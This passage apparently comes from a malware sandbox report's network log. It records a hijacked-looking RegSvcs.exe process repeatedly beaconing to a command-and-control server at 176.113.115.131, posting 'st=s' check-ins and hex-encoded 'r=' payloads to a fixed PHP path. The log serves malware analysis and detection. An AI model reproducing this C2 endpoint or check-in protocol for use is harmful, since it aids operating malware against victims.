Jan 8, 2025 08:44:44.827529907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	56129	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:46.456520081 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:47.142812014 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	56130	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:48.660511971 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:49.372358084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	56131	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:51.020490885 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:51.730273962 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	56132	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:53.256550074 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:53.964806080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	56133	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:55.656970024 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:44:56.340996981 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	56134	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:44:57.865582943 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:44:58.567358971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:44:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	56135	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:00.204128981 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:00.904352903 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	56136	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:02.421617031 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:03.143517971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	56137	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:04.784568071 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:05.482996941 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	56138	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:07.000576973 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:07.716079950 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	56139	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:09.346865892 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:10.053905964 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	56140	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:11.563364983 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:12.274687052 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	56141	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:13.924757957 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:14.620548964 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	56142	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:16.141515970 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:16.834738016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	56143	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:18.469571114 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:19.163832903 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	56144	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:20.688467979 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:21.393930912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	56145	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:23.063477039 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:23.755655050 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	56146	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:25.270421028 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:25.968200922 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	56147	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:27.595093966 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:28.306273937 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	56148	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:29.828583002 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:30.519975901 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	56149	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:32.163258076 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:45:32.853739977 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	56150	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:34.376355886 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:45:35.080810070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:45:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	56151	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:45:36.747241020 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
